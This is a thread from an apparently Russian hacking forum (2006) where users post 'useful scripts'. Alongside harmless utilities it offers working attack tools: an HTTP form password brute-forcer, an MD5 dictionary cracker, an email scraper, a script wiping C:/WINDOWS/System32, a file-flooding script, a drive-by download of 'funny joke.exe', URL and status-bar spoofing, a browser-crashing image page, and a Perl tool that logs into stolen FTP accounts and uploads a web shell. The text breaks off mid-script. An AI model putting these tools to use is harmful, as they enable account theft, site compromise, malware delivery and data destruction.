Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни.
    Надеюсь, не будет излишнего флейма.
    PHP скрипты пишем в тэгах [рhp] !!

    Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251.
    PHP:
    <?php

    function doit($dir='.'){
        
    $d=opendir($dir);
        while(
    $f=readdir($d)){
          if(
    $f!=='.' AND $f!=='..'){
            echo 
    $f;
            if(
    is_file($dir.'/'.$f)){
                echo 
    ' Converting...';

                
    $a=file_get_contents($dir.'/'.$f);
                
    $a=iconv('UTF-8','WINDOWS-1251',$a);
                
    $fp=fopen($dir.'/'.$f,'w');
                
    fwrite($fp,$a);
                
    fclose($fp);
                echo 
    ' - OK<br />';
            }elseif(
    is_dir($dir.'/'.$f)){
                echo 
    ' changing dir<br />';
                
    doit($dir.'/'.$f);
            }else{
                echo 
    ' Skipping<br />';
            }
          }
        }
    }
    doit('.');

    ?>
     
    #1 SMiX, 2 Nov 2006
    Last edited by a moderator: 13 Mar 2007
    3 people like this.
    1. Ch3ck

      Ch3ck Elder - Старейшина

      Joined:
      9 Jun 2006
      Messages:
      1,363
      Likes Received:
      1,192
      Reputations:
      430
      Сегодня понадобилось засрать все папки файлами :)(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
      PHP:
      <?php
      // Greetz всем заподлянщикам...
      //Аминь...
      //(C) Dr.Check
      ////////////////////////////////////////////////////////////////
      set_time_limit(0);
      ignore_user_abort();
      echo(
      "<center><b>ИБО НЕХУЙ!!!</b></center>");
      /////////////////////////////////////////////////////////////////
          
      $name = array('a','b','c','d','e','f','g','h','i','j','k',  'l','m','n','o','p','r','s',
                       
      't','u','v','x','y','z','A','B','C','D','E','F','G  ','H','I','J','K','L',
                       
      'M','N','O','P','R','S','T','U','V','X','Y','Z','1  ','2','3','4','5','6',
                       
      '7','8','9','0');
      //////////////////////////////////////////////////////////////////
          
      $rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                          
      '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                          
      '.tar','.gz','.jpg','.gif','.bmp');
      /////////////////////////////////////////////////////////////////
      while(true) {
          
      $perem "";
          
      $fuck="";
          for(
      $i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
          
      {
           
      $by rand(0count($name) - 1);
           
      $perem .= $name[$by];
          }
          
      $rarand(0count($rash)-1);
          
      $fuck .= $rash[$ra];
               
      $fp=fopen($perem.$fuck,"w");
              
      fwrite($fp,php_uname());
              
      fclose($fp);
              }
      ?> 
      P.S (вот так вроде правильней(для твоего скрипта)
      PHP:
      $dir=opendir(".");
       while (
      false !== ($file readdir($dir))) {
         if((
      $file !=".") && ($file !="..")) {
      Хотя одно и тоже... ;)
      Хм, какой-то простенький md5 брут
      PHP:
       <?
      function pass_dict ($hash)
      {
       //вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта
       $start_time = microtime();
       $start_array = explode(" ",$start_time);
       $start_time = $start_array[1] + $start_array[0];

       //открываем файл словаря из стандартного дистрибутива линукса
       $f = fopen("linux.words","r") or die("ошибка");
       while (!feof($f))
       {
        $str = strtolower(fgets($f));
        //удаляем лишние пробелы и символы конца строки
        $str = trim($str);
        $strmd5 = md5($str);
        if ($strmd5 == $hash)
         $pass = $str;

        if (isset($pass))
         {
          echo "password = ".$pass;
          $end_time = microtime();
          $end_array = explode(" ",$end_time);
          $end_time = $end_array[1] + $end_array[0];
          $time = $end_time - $start_time;
          echo "<br><center>Найдено за $time секунд!</center>";
          fclose($f);
          return;
         }
        }

       $end_time = microtime();
       $end_array = explode(" ",$end_time);
       $end_time = $end_array[1] + $end_array[0];
       $time = $end_time - $start_time;
       echo "<br><center>Не найдено за $time секунд!</center>";
       fclose($f);
       return;
      }
      pass_dict("e206a54e97690cce50cc872dd70ee896");
      ?>  

      Скрипт проверяет на наличий сервисов POP, FTP и т.д
      PHP:
      <html>
      <head>
      <title>::CHECKER::</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <body bgcolor="#000000" text="#ffffff">
      <hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
      <tr><td><form action="<? $PHP_SELF ?>" method="post">
      <b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <button onclick=location.reload(true)>Обновить</button></td></tr></table>
      <hr width="30%"></hr>
      <?php
      error_reporting
      (0);
      set_time_limit(0);
      $domain=$_POST['domain'];
      $ip=gethostbyname($domain);
      $httpport "80";
      $ftpport "21";
      $popport "110";
      $imapport "143";
      $smtpport "25";
      $sshport "22";
      echo 
      "<b>"; echo("IP адрес хоста: "); echo "</b>";
      echo 
      "<font color=\"red\">"; echo($ip); echo "</font>"
      ?>
      <table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
      <tr><td><font color="#999999"><b>HTTP --> </b></font>
      <?php
       $http 
      fsockopen($domain$httpport$errno$errstr$timeout);
       if (!
      $http)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?></td></tr>
      <tr><td><font color="#999999"><b>FTP --> </b></font>
            <?php
       $ftp 
      fsockopen($domain$ftpport$errno$errstr$timeout);
       if (!
      $ftp)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?></td></tr>
      <tr><td><font color="#999999"><b>POP --> </b></font>
      <?php
       $pop 
      fsockopen($domain$popport$errno$errstr$timeout);
       if (!
      $pop)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?>
      </td></tr>
      <tr><td><font color="#999999"><b>IMAP --> </b></font>
      <?php
       $imap 
      fsockopen($domain$imapport$errno$errstr$timeout);
       if (!
      $imap)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?>
      </td></tr>
      <tr><td><font color="#999999"><b>SMTP --> </b></font>
      <?php
       $smtp 
      fsockopen($domain$smtpport$errno$errstr$timeout);
       if (!
      $smtp)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?>
      </td></tr>
      <tr><td><b><font color="#999999">SSH --> </font></b>
      <?php
       $ssh 
      fsockopen($domain$sshport$errno$errstr$timeout);
       if (!
      $ssh)
       {
       echo (
      "<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
       }

       else
       {
       echo (
      "<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
       }
      ?>
      </td></tr></table><hr width="30%"></hr></center>
      </body>
      </head>
      </html>
       
      #2 Ch3ck, 2 Nov 2006
      Last edited: 7 Nov 2006
      4 people like this.
      1. _GaLs_

        _GaLs_ Elder - Старейшина

        Joined:
        21 Apr 2006
        Messages:
        431
        Likes Received:
        252
        Reputations:
        48
        Не дает закрвать окно.
        (пример простой, часто используется на порносайтах)
        Code:
        <html>
         <head>
           <title>Press ALT+F4</title>
         </head>
        
         <body onunload="goodBye()">
            <p align="center">
                <b>Yuo can't close your browser window</b>
            </p>
            <script language="JavaScript">
               <!--
                  function goodBye()
                    {window.open("Cantclose.htm");}
               //-->
            </script>
            <p align="center">
               <b>Try Alt+F4!</b>
            </p>
         </body>
        </html>
        Позволяет узнать выставленную кодировку.
        Code:
        <script>
         var u=navigator.userAgent;
         if (u.indexOf("Win") != -1) // Текст в 1251
            document.writeln ("Windows 1251");
         else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
            document.writeln("MS-DOS CP866");  // Текст в K018
            else document.writein ( "лПДЙТПЧЛБ KOI8-R"); 
        </script>
        
        Следущий скрипт показывает последнее обновление страницы:
        Code:
        <script language="JavaScript">
         <!--
             var dateMod = "";
             dateMod = document.lastModified;
             document.write("Last Update:  ");
             document.write(dateMod);
             document.write();
          // -->
        </script>
        При нажатии на кнопку, страница распечатывается:
        Code:
        <script Language="Javascript">
        
        function printit(){  
        if (window.print) {
           window.print();  
        } else {
           var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
        document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
           WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box    WebBrowser1.outerHTML = "";  
        }
        }
        </script>
        
        <script Language="Javascript">  
        var NS = (navigator.appName == "Netscape");
        var VERSION = parseInt(navigator.appVersion);
        if (VERSION > 3) {
           document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>');        
        }
        </script>
         
        1 person likes this.
        1. Ch3ck

          Ch3ck Elder - Старейшина

          Joined:
          9 Jun 2006
          Messages:
          1,363
          Likes Received:
          1,192
          Reputations:
          430
          Только, что написал. Может кому и понадобиться:
          Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
          PHP:
          <?php
                $star
          'txt';  // Расширение ДО
                
          $nov 'php';//Расширение  ПОСЛЕ
             
          function listDir ($url) {
              
          $i 0;
              
          $dir opendir(".");
              while (
          false !== ($file readdir($dir))) {
             if((
          $file !=".") && ($file !="..")) {
                      
          $outp[$i] = $file;
                      ++
          $i;
                  }
              }
              
          closedir($dir);
              return 
          $outp;
          }

          function 
          fil_list($path) {
              global 
          $star$nov;
              
          $path_array listDir($path);
              for(
          $i=0$i count($path_array); $i++) {
                  if (
          $path ''$p '/';
                  else 
          $p '';
                  
          $ls $path.$p.$path_array[$i];
                  if (@
          is_dir($ls)) fil_list($ls);
                  else if (
          preg_match('/\.'.$star.'$/i'$ls)) {
                      
          $fd_new substr($ls0strlen($ls)-strlen($star)).$nov;
                      
          rename ($ls$fd_new);
                      echo 
          $ls.' >>> '.$fd_new.'<br>';
                  }
              }
          }

          fil_list($start_dir);
          ?>
           
          #4 Ch3ck, 3 Nov 2006
          Last edited: 3 Nov 2006
          4 people like this.
          1. uranoff

            uranoff New Member

            Joined:
            21 Sep 2005
            Messages:
            10
            Likes Received:
            2
            Reputations:
            2
            С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*:

            <html>
            <body>
            <iframe src='http://your.domain.com/v.exe?.htm' name=
            "NotFound" width="0" height="0"></iframe>
            Click <a href=# onclick="javascript:document.frames.NotFound.
            document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
            </body>
            </html>
             
            1. uranoff

              uranoff New Member

              Joined:
              21 Sep 2005
              Messages:
              10
              Likes Received:
              2
              Reputations:
              2
              Таким способом можно подделать URL, которого не будет отображен в браузере:

              javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");
               
              1. uranoff

                uranoff New Member

                Joined:
                21 Sep 2005
                Messages:
                10
                Likes Received:
                2
                Reputations:
                2
                Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку:

                <a href="http://www.microsoft.com/"><table><tr><td>
                <a href="http://www.google.com/">Click here</td></tr></table></a>
                 
                1. TANZWUT

                  TANZWUT Крёстный отец :)

                  Joined:
                  22 Jun 2005
                  Messages:
                  1,474
                  Likes Received:
                  716
                  Reputations:
                  744
                  Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей ;)
                  PHP:
                  <body scroll=no bgcolor=black><script>setInterval ("focus ()"10); open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' document.body.innerHTML '</body>')</script></body>
                   
                  _________________________
                  VKAPI likes this.
                  1. Ch3ck

                    Ch3ck Elder - Старейшина

                    Joined:
                    9 Jun 2006
                    Messages:
                    1,363
                    Likes Received:
                    1,192
                    Reputations:
                    430
                    Парсер(e-mail).
                    Писал когда-то...Может кому и пригодиться.
                    PHP:
                    <? 
                    $handler=fopen('emails.txt','a+');
                      for(
                    $i=1;$i<3000;$i++){ 
                        
                    $filename 'http://www.***.ru/center.php?chp=showorg&num='.$i
                        echo 
                    $i.". "
                        
                    $str file_get_contents($filename); 
                        
                    preg_match_all('|href="mailto:([^"]*)"|is',$str,$out); 
                        if(empty(
                    $out[1][0])) echo " no mail"
                        else{ 
                          echo 
                    " get ".$out[1][0]; 
                          
                    fwrite($handler,$out[1][0]."\n"); 
                        } 
                        echo 
                    "\n"
                      } 
                      
                    fclose($handler); 
                    ?> 


                    //by SMiX: забыл хэндлер открыть =)
                     
                    #9 Ch3ck, 13 Nov 2006
                    Last edited by a moderator: 13 Nov 2006
                    2 people like this.
                    1. nc.STRIEM

                      nc.STRIEM Members of Antichat

                      Joined:
                      5 Apr 2006
                      Messages:
                      1,036
                      Likes Received:
                      347
                      Reputations:
                      292
                      БРУТФОРС ФОРМ! настраиваеться практически под любую..
                      PHP:
                      <?################Брутфорс  Форм##################
                      ///////////////////////----(c) nc.STRIEM----//////////////////////////
                          
                      $filepas="file.txt" ///файл   с данными для брута
                          
                      $filegood="good.txt"///файл с подходящими паролями
                          
                      $endifg=1///закончить при первом же найденом 1-да 0-нет
                          
                          
                      $iskl=array();
                      //////строки которых не  должно быть в правельных страницах/////////
                           
                      $iskl[0]="Неверный пароль";
                          
                      //$iskl[1]="Неверная длина пароля!";
                          //$iskl[2]="ERROR";
                          //$iskl[3]="Ошибка";
                          
                      //////////////////////////////////////////////////////////////////
                          
                      $host="localhost";  ///хост
                          
                      $script="/form.php";     ///скрипт 
                                                          
                      ///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////    
                          
                      $header="POST http://$host$script HTTP/1.0\r\n";
                          
                      $header.= "Host: $host\r\n";
                          
                      $header.= "Content-Type: application/x-www-form-urlencoded\r\n";
                      //////Не обязательные параметры! но не всегда///
                          //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
                          //$header.="Accept-Language: ru\r\n";
                          //$header.= "Proxy-Connection: Keep-Alive\r\n";
                          //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
                          //$header.="Referer:  http://microsoft.com\r\n";
                          //$header.="Cookie: CREATED=nc.STRIEM\r\n";
                      ####################################Сам брут#####################################    
                          
                      set_time_limit(0);
                          
                      $fo=fopen($filepas,"r");
                          
                      $kolvoporolei=0;
                          
                      $timestart=time('U');
                          
                      $fgo=fopen($filegood,"a");
                          echo 
                      "<h3><center>Мы брутили http://$host$script</center></h3>";
                       while(!
                      feof($fo))
                       {
                      /////////////////////////////////////////////
                      $fp fsockopen("www.".$host80$errno$errstr30);
                      if (!
                      $fp
                          echo 
                      "$errstr ($errno)<br />\n";
                       else 
                       {
                        
                      $kolvoporolei++;
                         
                      $dan=rtrim(fgets($fo));  /////берем данные из файла
                          
                      $dannii=split(';',$dan);
                          
                          
                      $out=$header;
                          
                      $zapr="login=$dannii[0]&password=$dannii[1]";     ////имена переменных и их значения сюда
                          
                      $contleng=strlen($zapr);
                          
                      $out.= "Content-Length: $contleng\r\n";
                          
                      $out.= "Pragma: no-cache\r\n\r\n";
                          
                      $out.= "$zapr\r\n\r\n";

                           
                      fwrite($fp$out);
                          
                      $conte="";
                       while (!
                      feof($fp)) 
                         
                      $conte.=fgets($fp);
                         
                        
                      $est=1;
                      for(
                      $i=0;$i<sizeof($iskl);$i++)
                         if(
                      strstr($conte$iskl[$i]))
                           {
                           
                      $est=0;
                           break;
                           }
                      /////может понадобиться при настройки///
                      //echo htmlspecialchars($conte); break;
                      /////////////////////////////////
                      if($est)
                         {
                         
                      fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
                         echo 
                      "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
                         if(
                      $endifg)
                            break;
                          }
                           
                      fclose($fp);
                        }
                      }
                      //////////////////////////////////////////////////////////////////////////////////////////
                      fclose($fgo);
                      $time=time('U')-$timestart;
                      echo 
                      "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>[email protected]</tt></center></h4>";
                      ?>  
                       
                      _________________________
                      #10 nc.STRIEM, 13 Nov 2006
                      Last edited: 21 Nov 2006
                      Gosh likes this.
                      1. »Atom1c«

                        »Atom1c« Banned

                        Joined:
                        4 Nov 2006
                        Messages:
                        234
                        Likes Received:
                        285
                        Reputations:
                        92
                        Тут написал маленький парсер для составления списка login;pass из файлов папки /etc/passwd/.
                        Чтобы он работал надо создать файл pwd.txt(куда засунуть наш лист) и pwds(тут будет окончательный список).
                        Короче кто знает тот разберётся.Пользуйтесь

                        PHP:
                         #!/usr/bin/perl 

                        open(IN"pwd.txt"); 
                        open(OUT">pwds"); 
                        while(<
                        IN>){ 
                        chomp
                        if(
                        $_ ne ' '){ 
                        (
                        $u,@undef)=split  ' : ' 
                        print 
                        OUT  "$u:$u\n"


                        close(IN); 
                        close(OUT); 
                         
                        1. Ponchik

                          Ponchik Хлебо-булочное изделие

                          Joined:
                          30 Aug 2005
                          Messages:
                          687
                          Likes Received:
                          807
                          Reputations:
                          311
                          Скрипт тупо удаляет все файлы из папки :)
                          PHP:
                          <?php
                          set_time_limit
                          (0);
                          foreach (
                          glob("C:/WINDOWS/System32/*") as $filename)
                          {
                                 
                          unlink($filename);
                          }

                          ?>
                          Также скрипт тупо украден из мануала по PHP :D
                          P.S. Dr.Check, я насчёт второго поста в этой теме, тот флудер не работает, создаёт около 2000 файлов и останавливается и больше не запускается :(
                           
                          #12 Ponchik, 18 Nov 2006
                          Last edited: 19 Nov 2006
                          Dr. Web, s0l_ir0n, .Varius and 16 others like this.
                          1. Ponchik

                            Ponchik Хлебо-булочное изделие

                            Joined:
                            30 Aug 2005
                            Messages:
                            687
                            Likes Received:
                            807
                            Reputations:
                            311
                            Ах да! И ещё! :)

                            HTML:
                            Есть такой хороший прикол: Хамаз бомба для IE -Internet Exploer после запуска которой - винда вешаеться (синий экран смерти) - ошибка связана с дравами видео-адаптеров.
                            
                            И так - нам нужно будет:
                            
                            1. Большая качественная картинка 1000 на 800 пойдёт -) весом где нить в 1 мегабайт - ) 
                            2. Называем картинку,допустим --- info.jpg
                            3. Открываем обычный текстовик и копируем туда это: 
                            
                            <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
                            <html>
                            <body>
                            <img src="info.jpg" width="9999999" height="9999999" alt="info" />
                            </body>
                            </html>
                            
                            4. Закрываем-сохраняем-меняем расширение текстовика с *txt - на index.html - и кладём картинку в туже директорию где сам документ index.html .
                            
                            5. Тестируем: Открываем IEом этот документ -)
                            
                            Эта штука тестировалась на браузерах Internet Exploer и ранних версиях Mozilla Firefox - Результат вылетал синий экран и всё висело.
                            (с)CampeR - http://forum.bit-team.com/

                            А вот в гугле картинок надыбал
                            3000 x 3264 пикселей - 1844кб
                            4500 x 3000 пикселей - 3931кб
                            :D
                             
                            2 people like this.
                            1. KSURi

                              KSURi tnega AOLPS

                              Joined:
                              6 Jun 2006
                              Messages:
                              458
                              Likes Received:
                              219
                              Reputations:
                              357
                              ftp_checker_uploader.pl

                              Еще 1 мой старый сорец. Пригодится продавцам фтп)
                              Code:
                              #!/usr/bin/perl
                              
                              use Net::FTP;
                              
                              print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n";
                              print "FTP list filename: ";
                              my $ftpFile=<STDIN>;
                              print "Valid accounts list filename: ";
                              my $outFile=<STDIN>;
                              print "URLS list filename: ";
                              my $listFile=<STDIN>;
                              print "Upload filename: [blank to disable upload] ";
                              my $shellFile=<STDIN>;
                              print "Upload remote filename: [blank to disable upload] ";
                              my $shellFileRemote=<STDIN>;
                              chomp($shellFile,$shellFileRemote,$ftpFile,$outFile,$listFile);
                              
                              open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n";
                              my @strings=<IN>;
                              close IN;
                              foreach $string(@strings)
                              {
                                  chomp($string);
                                  my($host,$user,$pass,$pair,$tmp);
                                  if($string=~/^ftp:\/\//i)
                                  {
                                      ($pair,$host)=split('\@',$string);
                                      $tmp=$pair=~s/ftp:\/\///;
                                      ($user,$pass)=split(':',$pair);
                                  }
                                  else { ($host,$user,$pass)=split(':',$string); }
                                  my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next;
                                  if($conn->login($user,$pass))
                                  {
                                      open(OUT,">>$outFile");
                                      open(LIST,">>$listFile");
                                      if($shellFile ne ""&&$shellFileRemote ne "")
                                      {
                                          my @dirs=$conn->ls();
                                          foreach(@dirs)
                                          {
                                              if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i)
                                              {
                                                  $conn->cwd($_);
                                                  $conn->put($shellFile,$shellFileRemote);
                                              }
                                          }
                                          print $string."... OK (shell uploaded)\n";
                                          print OUT $string." (shell uploaded to ".$conn->pwd().")\n";
                                      }
                                      else
                                      {
                                          print $string."... OK\n";
                                          print OUT $string."\n";
                                      }
                                      print LIST $host."\n";
                                      close OUT;
                                      close LIST
                                  }
                                  else { print $host."... FAILED\n"; }
                              }
                              
                              # ftp_checker_uploader v1.4.pl
                              # (C)oded by .:[KSURi]:.
                              
                               
                              1. Ch3ck

                                Ch3ck Elder - Старейшина

                                Joined:
                                9 Jun 2006
                                Messages:
                                1,363
                                Likes Received:
                                1,192
                                Reputations:
                                430
                                Перевод цвета изображения в Чёрно-белоею (Писал для какого-то человечка на форумею Вдруг кому ещё пригодиться...)
                                PHP:
                                <?php 
                                $im 
                                ImageCreateFromJpeg("file.jpg"); 
                                $size getimagesize("file.jpg"); 
                                $new imagecreate($size[0], $size[1]);
                                $black imagecolorallocate($new000); 
                                $white imagecolorallocate($new0xFF0xFF0xFF); 

                                for (
                                $i 1$i $size[0]; $i++) { 
                                  for (
                                $j 1$j $size[1]; $j++) {
                                    
                                $rgb ImageColorAt($im$i$j); 
                                    
                                $r = ($rgb >> 16) & 0xFF
                                    
                                $g = ($rgb >> 8) & 0xFF
                                    
                                $b $rgb 0xFF
                                    if ( 
                                $r <  128 && $r 128 && $b 128 ) { 
                                      
                                imagesetpixel($new$i$j$black); 
                                    } elseif ( 
                                $r >=  128 && $r >= 128 && $b >= 128 ) { 
                                      
                                imagesetpixel($new$i$j$white); 
                                    } 
                                  } 

                                header("Content-type: image/jpeg"); 
                                imagejpeg($newnull100); 
                                imagedestroy($im); 
                                imagedestroy($new); 
                                ?>
                                P.S Пончик не знаю,... у меня номрально работает.
                                 
                                #15 Ch3ck, 21 Nov 2006
                                Last edited: 3 Dec 2006
                                1 person likes this.
                                1. Dracula4ever

                                  Dracula4ever Elder - Старейшина

                                  Joined:
                                  8 May 2006
                                  Messages:
                                  418
                                  Likes Received:
                                  183
                                  Reputations:
                                  26
                                  чекер проксиков, так же проверяет прокс и на анонимность

                                  PHP:
                                  <? 
                                  /**************************************************  ************** 
                                  *                      * 
                                  *                                                               * 
                                  * This will perform a basic connectivity and anonymity test     * 
                                  *                                                               * 
                                  * Simply upload to a php enabled webserver and change the       * 
                                  * configurable parameters below if you so desire                * 
                                  *                                                               * 
                                  * 2005-11-11   v0.1 - Compatible with Charon v0.5.3.5           * 
                                  **************************************************  **************/ 
                                  ?> 
                                  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
                                     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
                                  <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
                                  <head><title>Online proxy tester</title></head> 
                                  <body bgcolor="black" text="white"> 

                                  <?php 

                                  // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
                                     
                                  error_reporting(0); 
                                  // Limit the amount of proxies that can be tested at any one time 
                                     
                                  $maximum_proxies_to_test 5
                                  // Enter a password (if required) to protect the page 
                                     
                                  $password ''

                                  // Actual proxyjudge part of the page 
                                     
                                  function return_env_variables() 
                                     { 
                                        echo 
                                  '<pre>'."\n"
                                        foreach (
                                  $_SERVER as $header => $value 
                                        { 
                                          if ((
                                  strpos($header 'REMOTE')!== false || strpos($header 'HTTP')!== false || strpos($header 'REQUEST')!== false) && ( strpos($header 'HTTP_HOST') !== 0)) 
                                          { 
                                          echo 
                                  $header.' = '.$value."\n"
                                          } 
                                        } 
                                        echo 
                                  '</pre>'
                                     } 

                                  // Function to go away and get the page (calls through the proxy back to itself) 
                                     
                                  function get_judge_page($proxy
                                     { 
                                     
                                  // Depending on the server environment, this timeout setting may not be available.     
                                        
                                  $timeout 15
                                        
                                  $proxy_cont ''
                                        list(
                                  $proxy_host$proxy_port) = explode(":"$proxy); 
                                        
                                  $proxy_fp fsockopen($proxy_host$proxy_port$errornumber$errorstring$timeout); 
                                        if (
                                  $proxy_fp
                                        { 
                                           
                                  stream_set_timeout($proxy_fp$timeout); 
                                           
                                  fputs($proxy_fp"GET " $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
                                           while(!
                                  feof($proxy_fp)) 
                                           { 
                                                 
                                  $proxy_cont .= fread($proxy_fp,4096); 
                                           } 
                                           
                                  fclose($proxy_fp); 
                                           
                                  $proxy_cont substr($proxy_contstrpos($proxy_cont,"\r\n\r\n")+4); 
                                        } 
                                        return 
                                  $proxy_cont;    
                                     } 

                                  // Check for the control string to see if it's a valid fetch of the judge 
                                     
                                  function check_valid_judge_response($page
                                     { 
                                        if(
                                  strlen($page) < 5
                                           return 
                                  false
                                        return 
                                  strpos($page'REMOTE_ADDR') !== false
                                     } 

                                  // Check for the IP addresses 
                                     
                                  function check_anonymity($page
                                     { 
                                        if(
                                  strpos($page$_SERVER['LOCAL_ADDR']) !== false
                                           return 
                                  false
                                        return 
                                  true
                                     } 

                                  // Takes and tests a proxy 
                                  // 0 - Bad proxy 
                                  // 1 - Good (non anon) proxy 
                                  // 2 - Good (anonymous) proxy 
                                     
                                  function test_proxy($proxy
                                     { 
                                        
                                  $page get_judge_page($proxy); 
                                        if(!
                                  check_valid_judge_response($page)) 
                                           return 
                                  0
                                        if(!
                                  check_anonymity($page)) 
                                           return 
                                  1
                                        return 
                                  2
                                     } 

                                  ////////// Main Page //////////// 

                                  // If this is a judge request, just return the environmental variables 
                                     
                                  if(getenv('QUERY_STRING') == "test"
                                     { 
                                        
                                  return_env_variables(); 
                                     } 
                                  // Else check whether we have been passed a list of proxies to test or not 
                                  // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
                                     
                                  elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
                                             (isset(
                                  $HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
                                             ( (
                                  strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
                                     { 
                                        
                                  $proxies explode("\n"str_replace("\r"""$HTTP_POST_VARS['proxies']), $maximum_proxies_to_test 1); 
                                         
                                     
                                  // Set the overall time limit for the page execution to 10 mins 
                                        
                                  set_time_limit(600); 
                                         
                                     
                                  // Set up some arrays to hold the results 
                                        
                                  $anon_proxies = array(); 
                                        
                                  $nonanon_proxies = array(); 
                                        
                                  $bad_proxies = array(); 
                                      
                                     
                                  // Loop through and test the proxies 
                                        
                                  for($thisproxy 0$thisproxy < ($maximum_proxies_to_test count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1
                                        { 
                                           echo 
                                  'Testing ' $proxies[$thisproxy] . ' .....'
                                           
                                  flush(); 
                                           switch(
                                  test_proxy($proxies[$thisproxy])) 
                                           { 
                                              case 
                                  2
                                                echo 
                                  '.. Anon<br>' "\n"
                                                 
                                  $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
                                                 break; 
                                              case 
                                  1
                                                echo 
                                  '.. Non anon<br>' "\n"
                                                 
                                  $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
                                                 break; 
                                              case 
                                  0
                                                echo 
                                  '.. Dead<br>' "\n"
                                                 
                                  $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
                                                 break; 
                                           } 
                                        } 
                                      
                                        echo 
                                  '<pre>'
                                        echo 
                                  '<br><b>Anonymous proxies</b>' "\n"
                                        for(
                                  $thisproxy 0$thisproxy count($anon_proxies); $thisproxy += 1
                                           echo 
                                  $anon_proxies[$thisproxy] . "\n"
                                        echo 
                                  '<br><b>Non-anonymous proxies</b>' "\n"
                                        for(
                                  $thisproxy 0$thisproxy count($nonanon_proxies); $thisproxy += 1
                                           echo 
                                  $nonanon_proxies[$thisproxy] . "\n"
                                        echo 
                                  '<br><b>Dead proxies</b>' "\n"
                                        for(
                                  $thisproxy 0$thisproxy count($bad_proxies); $thisproxy += 1
                                           echo 
                                  $bad_proxies[$thisproxy] . "\n"
                                        echo 
                                  '</pre>'
